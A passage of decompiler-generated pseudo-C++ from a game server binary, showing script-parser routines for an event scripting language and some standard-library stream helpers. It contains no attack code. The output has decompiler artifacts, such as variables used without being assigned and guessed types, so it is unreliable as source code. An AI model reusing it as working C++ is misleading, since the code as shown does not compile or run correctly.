*)&sysfuncshinegetobjectlist; return 1; } if ( PineScriptToken::operator__(&_, "KQResultList") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinekqresultlist; return 1; } if ( PineScriptToken::operator__(&_, "KQTopList") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinekqtoplist; return 1; } if ( PineScriptToken::operator__(&_, "DistanceBetween") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinedistance; return 1; } if ( PineScriptToken::operator__(&_, "PlayerInArea") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshineplayerinarea; return 1; } if ( PineScriptToken::operator__(&_, "Range") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinerange; return 1; } if ( PineScriptToken::operator__(&_, "IsGateUse") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshineisgateuse; return 1; } if ( PineScriptToken::operator__(&_, "GetWinnerGuild") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinegetwinnerguild; return 1; } if ( PineScriptToken::operator__(&_, "GetLoseGuild") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinegetloseGuild; return 1; } AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SystemFunction::sa_Load : undefined function", funcname.pst_Buffer); } } } return 0; } //----- (004A1F80) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Term::sa_Load(PineEventScriptNode::Term *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::Term *v2; // ebp@1 unsigned __int16 result; // ax@2 int v4; // edi@3 PineScriptToken *v5; // esi@3 signed int v6; // ecx@3 bool v7; // zf@3 void *v8; // eax@7 void *v9; // eax@10 PineEventScriptNode::ScriptAtom *v10; // eax@14 void *v11; // ST00_4@15 void *v12; // eax@16 PineEventScriptNode::ScriptAtom *v13; // eax@20 void *v14; // ST00_4@21 void *v15; // eax@22 PineEventScriptNode::ScriptAtom *v16; // eax@26 void *v17; // ST00_4@27 void *v18; // eax@28 PineEventScriptNode::ScriptAtom *v19; // eax@29 PineEventScriptNode::ScriptAtom *v20; // eax@32 void *v21; // ST00_4@33 void *v22; // eax@36 PineEventScriptNode::ScriptAtom *v23; // eax@37 PineEventScriptNode::ScriptAtom *v24; // eax@43 void *v25; // ST00_4@44 PineScriptToken tkn; // [sp+14h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) return 0; v4 = (int)"#"; v5 = &tkn; v6 = 2; v7 = 1; do { if ( !v6 ) break; v7 = v5->pst_Buffer[0] == *(_BYTE *)v4; v5 = (PineScriptToken *)((char *)v5 + 1); ++v4; --v6; } while ( v7 ); if ( !v7 ) { memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); v9 = operator new(0xCu); if ( v9 ) { *(_DWORD *)v9 = &PineEventScriptNode::Identify::_vftable_; *((_DWORD *)v9 + 1) = 0; *((_DWORD *)v9 + 2) = 0; } else { v9 = 0; } v2->t_Atom = (PineEventScriptNode::ScriptAtom *)v9; if ( (unsigned __int16)(**(int (__thiscall ***)(void *, PineScriptReader::TokenReader *))v9)(v9, tr) ) return 1; v10 = v2->t_Atom; if ( v10 ) { v11 = v2->t_Atom; v10->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v11); } v12 = operator new(0x104u); if ( v12 ) { *(_DWORD *)v12 = &PineEventScriptNode::Number::_vftable_; *((_BYTE *)v12 + 4) = 0; } else { v12 = 0; } v2->t_Atom = (PineEventScriptNode::ScriptAtom *)v12; if ( (unsigned __int16)(**(int (__thiscall ***)(void *, PineScriptReader::TokenReader *))v12)(v12, tr) ) return 1; v13 = v2->t_Atom; if ( v13 ) { v14 = v2->t_Atom; v13->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v14); } v15 = operator new(0x104u); if ( v15 ) { *(_DWORD *)v15 = &PineEventScriptNode::String::_vftable_; *((_BYTE *)v15 + 4) = 0; } else { v15 = 0; } v2->t_Atom = (PineEventScriptNode::ScriptAtom *)v15; if ( (unsigned __int16)(**(int (__thiscall ***)(void *, PineScriptReader::TokenReader *))v15)(v15, tr) ) return 1; v16 = v2->t_Atom; if ( v16 ) { v17 = v2->t_Atom; v16->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v17); } v18 = operator new(0x34u); if ( v18 ) PineEventScriptNode::SystemFunction::SystemFunction((PineEventScriptNode::SystemFunction *)v18); else v19 = 0; v2->t_Atom = v19; if ( v19->vfptr->sa_Load(v19, tr) ) return 1; v20 = v2->t_Atom; if ( v20 ) { v21 = v2->t_Atom; v20->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v21); } if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && !PineScriptToken::operator__(&tkn, "(") ) { v22 = operator new(0x11Cu); if ( v22 ) PineEventScriptNode::Express::Express((PineEventScriptNode::Express *)v22); else v23 = 0; v2->t_Atom = v23; if ( v23->vfptr->sa_Load(v23, tr) && PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && !PineScriptToken::operator__(&tkn, ")") ) return 1; v24 = v2->t_Atom; if ( v24 ) { v25 = v2->t_Atom; v24->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v25); } v2->t_Atom = 0; } return 0; } v8 = operator new(0xCu); if ( v8 ) { *(_DWORD *)v8 = &PineEventScriptNode::Term::_vftable_; *((_DWORD *)v8 + 2) = 0; *((_DWORD *)v8 + 1) = 0; v2->t_Term = (PineEventScriptNode::Term *)v8; result = (**(int (__thiscall ***)(void *, PineScriptReader::TokenReader *))v8)(v8, tr); } else { v2->t_Term = 0; result = (*(int (__thiscall **)(_DWORD, PineScriptReader::TokenReader *))v0)(0, tr); } return result; } // 5BD72C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 5BD7C4: using guessed type int (__stdcall *PineEventScriptNode__String___vftable_)(int tr); // 5BD7D4: using guessed type int (__stdcall *PineEventScriptNode__Number___vftable_)(int tr); // 5BD7F4: using guessed type int (__stdcall *PineEventScriptNode__Identify___vftable_)(int tr); // 5BD814: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); //----- (004A2210) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::BlockName::sa_Load(PineEventScriptNode::BlockName *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::BlockName *v2; // ebp@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 PineScriptToken tkn; // [sp+10h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_15; v3 = (int)"["; v4 = &tkn; v5 = 2; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( v6 ) { if ( !(unsigned __int16)((int (__fastcall *)(PineEventScriptNode::Id *, _DWORD, PineScriptReader::TokenReader *))v2->bn_Name.baseclass_0.vfptr->sa_Load)( &v2->bn_Name, 0, tr) ) return 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) || PineScriptToken::operator__(&tkn, (char *)&stru_5A8D60) ) { memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); return 0; } } else { LABEL_15: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } return 1; } //----- (004A22D0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Block::sa_Load(PineEventScriptNode::Block *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::Block *v2; // ebp@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 int v7; // edi@8 char *v8; // esi@8 signed int v9; // ecx@8 bool v10; // zf@8 List *v11; // ecx@12 int v12; // eax@12 int v13; // eax@13 List *v14; // ecx@14 int v15; // eax@14 PineScriptToken v17; // [sp+10h] [bp-204h]@7 PineScriptToken tkn; // [sp+110h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_23; v3 = (int)"open"; v4 = &tkn; v5 = 5; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( v6 ) { ((void (__fastcall *)(PineEventScriptNode::BlockName *, _DWORD, PineScriptReader::TokenReader *))v2->b_BlockName.baseclass_0.vfptr->sa_Load)( &v2->b_BlockName, 0, tr); while ( 1 ) { v17.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &v17) ) break; v7 = (int)"close"; v8 = (char *)&v17; v9 = 6; v10 = 1; do { if ( !v9 ) break; v10 = *v8++ == *(_BYTE *)v7++; --v9; } while ( v10 ); if ( v10 ) return 1; memcpy(&tr->tr_UngetToken, &v17, sizeof(tr->tr_UngetToken)); v11 = v2->b_StatementList; v12 = v11->l_Finger.empty; if ( ((_WORD)v12 == -1 || (v13 = ((int (__stdcall *)(int))v11->vfptr->l_AllocZ)(v12)) == 0) && ((List::l_Enlargement(v2->b_StatementList, 8), v14 = v2->b_StatementList, v15 = v14->l_Finger.empty, (_WORD)v15 == -1) || (v13 = ((int (__stdcall *)(int))v14->vfptr->l_AllocZ)(v15)) == 0) || !(unsigned __int16)(**(int (__thiscall ***)(int, PineScriptReader::TokenReader *))v13)(v13, tr) ) return 0; } } else { LABEL_23: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } return 0; } //----- (004A2400) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateVarDeclear::sa_Load(PineEventScriptNode::StateVarDeclear *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StateVarDeclear *v2; // ebp@1 char v3[4]; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 int v7; // edi@8 PineScriptToken *v8; // esi@8 signed int v9; // ecx@8 bool v10; // zf@8 int v11; // eax@14 int v12; // edi@16 PineScriptToken *v13; // esi@16 signed int v14; // ecx@16 bool v15; // zf@16 PineScriptToken tkn; // [sp+10h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_26; *(_DWORD *)v3 = "var"; v4 = &tkn; v5 = 4; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == **(_BYTE **)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++*(_DWORD *)v3; --v5; } while ( v6 ); if ( v6 ) { v2->svd_VarNum = 0; while ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { v7 = (int)"."; v8 = &tkn; v9 = 2; v10 = 1; do { if ( !v9 ) break; v10 = v8->pst_Buffer[0] == *(_BYTE *)v7; v8 = (PineScriptToken *)((char *)v8 + 1); ++v7; --v9; } while ( v10 ); if ( v10 ) return 1; memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); if ( !(unsigned __int16)v2->svd_VarName[v2->svd_VarNum].baseclass_0.vfptr->sa_Load( &v2->svd_VarName[v2->svd_VarNum], tr) ) return 0; if ( !(unsigned __int16)v2->svd_Express[v2->svd_VarNum].baseclass_0.vfptr->sa_Load( &v2->svd_Express[v2->svd_VarNum], tr) ) { AssertClass::ac_AssertFail(&shineassert, "Var : Not init", 1); return 0; } v11 = v2->svd_VarNum + 1; v2->svd_VarNum = v11; if ( (unsigned int)v11 >= 0x40 ) { if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { v12 = (int)"."; v13 = &tkn; v14 = 2; v15 = 1; do { if ( !v14 ) break; v15 = v13->pst_Buffer[0] == *(_BYTE *)v12; v13 = (PineScriptToken *)((char *)v13 + 1); ++v12; --v14; } while ( v15 ); if ( v15 ) return 1; } return 0; } } } else { LABEL_26: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } return 0; } //----- (004A2550) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateInfinite::sa_Load(PineEventScriptNode::StateInfinite *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StateInfinite *v2; // ebp@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 unsigned __int16 result; // ax@6 PineScriptToken tkn; // [sp+10h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_10; v3 = (int)"infinite"; v4 = &tkn; v5 = 9; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( v6 ) { result = ((int (__fastcall *)(PineEventScriptNode::Block *, _DWORD, PineScriptReader::TokenReader *))v2->si_Block.baseclass_0.baseclass_0.vfptr->sa_Load)( &v2->si_Block, 0, tr); } else { LABEL_10: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); result = 0; } return result; } //----- (004A25D0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateWhile::sa_Load(PineEventScriptNode::StateWhile *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StateWhile *v2; // ebp@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 unsigned __int16 result; // ax@8 PineScriptToken tkn; // [sp+10h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_13; v3 = (int)"while"; v4 = &tkn; v5 = 6; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( v6 ) { result = (unsigned __int16)((int (__fastcall *)(PineEventScriptNode::Condition *, _DWORD, PineScriptReader::TokenReader *))v2->sw_Condition.baseclass_0.vfptr->sa_Load)( &v2->sw_Condition, 0, tr) && (unsigned __int16)v2->sw_Block.baseclass_0.baseclass_0.vfptr->sa_Load(&v2->sw_Block, tr); } else { LABEL_13: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); result = 0; } return result; } //----- (004A2670) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateBreak::sa_Load(PineEventScriptNode::StateBreak *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StateBreak *v2; // ebp@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 void *v7; // eax@8 PineEventScriptNode::Express *v8; // eax@9 PineScriptToken tkn; // [sp+10h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_19; v3 = (int)"break"; v4 = &tkn; v5 = 6; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( v6 ) { if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { if ( PineScriptToken::operator__(&tkn, ".") || ((memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)), (v7 = operator new(0x11Cu)) == 0) ? (v8 = 0) : PineEventScriptNode::Express::Express((PineEventScriptNode::Express *)v7), (v2->b_Break = v8, v8->baseclass_0.vfptr->sa_Load((PineEventScriptNode::ScriptAtom *)v8, tr)) && PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && !PineScriptToken::operator__(&tkn, ".")) ) return 1; } } else { LABEL_19: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } return 0; } //----- (004A2780) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateCall::sa_Load(PineEventScriptNode::StateCall *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StateCall *v2; // ebp@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 void *v8; // eax@10 PineEventScriptNode::Express *v9; // eax@11 void *v10; // edi@15 PineEventScriptNode::StateCall *v11; // [sp+10h] [bp-108h]@1 PineScriptToken tkn; // [sp+14h] [bp-104h]@1 v2 = this; v11 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_17; v3 = (int)"call"; v4 = &tkn; v5 = 5; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( !v6 ) goto LABEL_17; if ( (unsigned __int16)((int (__fastcall *)(PineEventScriptNode::Express *, _DWORD, PineScriptReader::TokenReader *))v2->sc_CallBlock.baseclass_0.vfptr->sa_Load)( &v2->sc_CallBlock, 0, tr) ) { if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { if ( PineScriptToken::operator__(&tkn, ".") ) return 1; memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); v8 = operator new(0x11Cu); if ( v8 ) PineEventScriptNode::Express::Express((PineEventScriptNode::Express *)v8); else v9 = 0; v11->sc_DefaultBlock = v9; if ( !v9->baseclass_0.vfptr->sa_Load((PineEventScriptNode::ScriptAtom *)v9, tr) ) return 0; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) return PineScriptToken::operator__(&tkn, ".") != 0; v10 = &tr->tr_UngetToken; goto LABEL_18; } LABEL_17: v10 = &tr->tr_UngetToken; LABEL_18: memcpy(v10, &tkn, 0x100u); } return 0; } //----- (004A28B0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StatePermillage::sa_Load(PineEventScriptNode::StatePermillage *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StatePermillage *v2; // ebp@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 PineScriptToken tkn; // [sp+10h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_10; v3 = (int)"permillage"; v4 = &tkn; v5 = 11; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( !v6 ) { LABEL_10: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); return 0; } if ( (unsigned __int16)((int (__fastcall *)(PineEventScriptNode::Identify *, _DWORD, PineScriptReader::TokenReader *))v2->sp_Var.baseclass_0.vfptr->sa_Load)( &v2->sp_Var, 0, tr) ) { if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && !PineScriptToken::operator__(&tkn, ".") ) return 1; goto LABEL_10; } return 0; } //----- (004A2960) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StatementBaseExpress::sa_Load(PineEventScriptNode::StatementBaseExpress *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StatementBaseExpress *v2; // edi@1 int v3; // esi@2 PineScriptToken *v4; // eax@2 bool v5; // cf@3 char v6; // dl@5 unsigned __int8 v7; // bl@5 __int16 v8; // ax@7 PineScriptToken tkn; // [sp+Ch] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_18; v3 = (int)v2->sbe_Command; v4 = &tkn; while ( 1 ) { v5 = (unsigned __int8)v4->pst_Buffer[0] < *(_BYTE *)v3; if ( v4->pst_Buffer[0] != *(_BYTE *)v3 ) break; if ( !v4->pst_Buffer[0] ) goto LABEL_7; v6 = v4->pst_Buffer[1]; v7 = *(_BYTE *)(v3 + 1); v5 = v6 < v7; if ( v6 != v7 ) break; v4 = (PineScriptToken *)((char *)v4 + 2); v3 += 2; if ( !v6 ) { LABEL_7: v8 = 0; goto LABEL_9; } } v8 = -v5 - (v5 - 1); LABEL_9: if ( v8 ) { LABEL_18: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } else { if ( (unsigned __int16)v2->sbe_Express.baseclass_0.vfptr->sa_Load(&v2->sbe_Express, tr) && PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && !PineScriptToken::operator__(&tkn, ".") ) return 1; } return 0; } //----- (004A2A50) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateAssignment::sa_Load(PineEventScriptNode::StateAssignment *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StateAssignment *v2; // ebx@1 int v3; // edi@3 PineScriptToken *v4; // esi@3 signed int v5; // ecx@3 bool v6; // zf@3 unsigned __int16 result; // ax@10 PineScriptToken tkn; // [sp+8h] [bp-104h]@2 v2 = this; if ( !(unsigned __int16)((int (__stdcall *)(PineScriptReader::TokenReader *))this->sa_LeftValue.baseclass_0.vfptr->sa_Load)(tr) || (tkn.pst_Buffer[0] = 0, !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn)) ) goto LABEL_14; v3 = (int)"="; v4 = &tkn; v5 = 2; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( v6 && (unsigned __int16)((int (__fastcall *)(PineEventScriptNode::Express *, _DWORD, PineScriptReader::TokenReader *))v2->sa_Express.baseclass_0.vfptr->sa_Load)( &v2->sa_Express, 0, tr) && PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && !PineScriptToken::operator__(&tkn, ".") ) result = 1; else LABEL_14: result = 0; return result; } //----- (004A2B10) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::OtherStatement::sa_Load(PineEventScriptNode::OtherStatement *this, PineScriptReader::TokenReader *tr) { PineScriptReader::TokenReader *v2; // edi@1 PineEventScriptNode::OtherStatement *v3; // ebp@1 int v4; // esi@2 PineScriptToken *v5; // eax@2 bool v6; // cf@3 char v7; // dl@5 __int16 v8; // ax@7 int v9; // ebp@12 int v10; // edi@14 PineScriptToken *v11; // esi@14 signed int v12; // ecx@14 bool v13; // zf@14 void *v14; // eax@18 bool v15; // sf@22 unsigned __int8 v16; // of@22 int v18; // eax@24 int v19; // eax@26 const void *v20; // esi@28 int i; // [sp+10h] [bp-20Ch]@12 PineEventScriptNode::OtherStatement *v22; // [sp+14h] [bp-208h]@1 PineScriptToken tkn; // [sp+18h] [bp-204h]@1 PineScriptToken err; // [sp+118h] [bp-104h]@28 v2 = tr; v3 = this; v22 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_34; v4 = (int)v3->os_Command; v5 = &tkn; while ( 1 ) { v6 = (unsigned __int8)v5->pst_Buffer[0] < *(_BYTE *)v4; if ( v5->pst_Buffer[0] != *(_BYTE *)v4 ) break; if ( !v5->pst_Buffer[0] ) goto LABEL_7; v7 = v5->pst_Buffer[1]; v6 = (unsigned __int8)v7 < *(_BYTE *)(v4 + 1); if ( v7 != *(_BYTE *)(v4 + 1) ) break; v5 = (PineScriptToken *)((char *)v5 + 2); v4 += 2; if ( !v7 ) { LABEL_7: v8 = 0; goto LABEL_9; } } v8 = -v6 - (v6 - 1); LABEL_9: if ( v8 ) { LABEL_34: v20 = &tkn; } else { if ( v3->os_IDRead && !(unsigned __int16)v3->os_Ident.baseclass_0.vfptr->sa_Load(&v3->os_Ident, tr) ) return 0; i = 0; v9 = (int)v3->os_Express; while ( 1 ) { if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { v10 = (int)"."; v11 = &tkn; v12 = 2; v13 = 1; do { if ( !v12 ) break; v13 = v11->pst_Buffer[0] == *(_BYTE *)v10; v11 = (PineScriptToken *)((char *)v11 + 1); ++v10; --v12; } while ( v13 ); if ( v13 ) break; } memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); v14 = operator new(0x11Cu); if ( v14 ) { *(_DWORD *)v14 = &PineEventScriptNode::Express::_vftable_; *((_DWORD *)v14 + 1) = &PineEventScriptNode::Term::_vftable_; *((_DWORD *)v14 + 3) = 0; *((_DWORD *)v14 + 2) = 0; *((_DWORD *)v14 + 4) = &PineEventScriptNode::CalculateOperator::_vftable_; *((_BYTE *)v14 + 20) = 0; *((_DWORD *)v14 + 69) = 0; *((_DWORD *)v14 + 70) = 0; } else { v14 = 0; } *(_DWORD *)v9 = v14; if ( !(unsigned __int16)(**(int (__thiscall ***)(void *, PineScriptReader::TokenReader *))v14)(v14, tr) ) return 0; v9 += 4; v16 = __OFSUB__(i + 1, 32); v15 = i++ - 31 < 0; if ( !(v15 ^ v16) ) return 1; } v18 = v22->os_ExpressNumMax; if ( v18 <= 0 || !v22->os_Express[v18] && ((v19 = v22->os_ExpressNumMin) == 0 || *((_DWORD *)&v22->os_Ident.i_Exp + v19)) ) return 1; PineScriptToken::PineScriptToken(&err, "~"); v2 = tr; v20 = &err; } memcpy(&v2->tr_UngetToken, v20, sizeof(v2->tr_UngetToken)); return 0; } // 5BD73C: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 5BD814: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 5BD978: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); //----- (004A2CD0) -------------------------------------------------------- void __thiscall std::basic_stringstream_std::allocator>::_vbase_destructor(std::basic_stringstream,std::allocator > *this) { std::basic_ios > *v1; // esi@1 v1 = (std::basic_ios > *)this->gap54; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)((char *)this + 84)); std::basic_ios>::_basic_ios>(v1); } //----- (004A2CF0) -------------------------------------------------------- void *__thiscall std::basic_stringstream_std::allocator>::_scalar_deleting_destructor_(std::basic_stringstream,std::allocator > *this, char a2) { void *v2; // esi@1 std::basic_ios > *v3; // edi@1 v2 = (char *)this - 84; v3 = (std::basic_ios > *)this; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>(this); std::basic_ios>::_basic_ios>(v3); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004A2D20) -------------------------------------------------------- void __thiscall std::basic_ostream>::sentry::_sentry(std::basic_ostream >::sentry *this) { std::basic_ostream > **v1; // esi@1 int v2; // eax@4 v1 = (std::basic_ostream > **)this; if ( !std::uncaught_exception() && (*v1)->dummy[*(_DWORD *)(*(_DWORD *)&(*v1)->dummy[0] + 4) + 16] & 2 ) std::basic_ostream>::flush(*v1); v2 = *(_DWORD *)&(*v1)->dummy[*(_DWORD *)(*(_DWORD *)&(*v1)->dummy[0] + 4) + 40]; if ( v2 ) std::_Mutex::_Unlock((std::_Mutex *)(v2 + 4)); } //----- (004A2D90) -------------------------------------------------------- std::basic_ostream > *__cdecl std::operator<<_std::allocator>(std::basic_ostream > *_Ostr, std::basic_string,std::allocator > *_Str) { std::basic_string,std::allocator > *v2; // ebx@1 unsigned int v3; // ecx@1 int v4; // eax@1 unsigned int v5; // esi@1 int v6; // eax@7 char *v7; // ecx@9 int v8; // eax@9 int v9; // ecx@9 int v10; // edx@9 int v11; // ecx@11 int v12; // edx@11 int v13; // eax@18 int v14; // ecx@21 int v15; // edx@21 int v16; // eax@21 int v17; // ecx@23 int v18; // edx@23 int v19; // edx@30 int v20; // eax@30 int v21; // ecx@30 int v22; // edx@30 int v23; // ecx@32 int v24; // edx@32 char *v25; // ecx@39 int v26; // eax@40 std::basic_ostream > *v27; // ebx@44 char *v28; // eax@44 signed int v29; // esi@45 int v30; // ecx@48 int v31; // eax@49 int v32; // eax@52 int v34; // [sp-Ch] [bp-30h]@1 std::basic_ostream >::sentry _Ok; // [sp+0h] [bp-24h]@5 unsigned int _Size; // [sp+8h] [bp-1Ch]@1 unsigned int _Pad; // [sp+Ch] [bp-18h]@3 int _State; // [sp+10h] [bp-14h]@1 int *v39; // [sp+14h] [bp-10h]@1 int v40; // [sp+20h] [bp-4h]@5 v2 = _Str; v3 = _Str->_Mysize; v4 = *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 24]; v5 = 0; v39 = &v34; _State = 0; _Size = v3; if ( v4 <= 0 || v4 <= v3 ) _Pad = 0; else _Pad = v4 - v3; std::basic_ostream>::sentry::sentry(&_Ok, _Ostr); v40 = 0; if ( !_Ok._Ok ) { _State = 4; goto LABEL_39; } v6 = *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 16] & 0x1C0; LOBYTE(v40) = 1; if ( v6 == 64 ) goto LABEL_16; while ( _Pad ) { v7 = 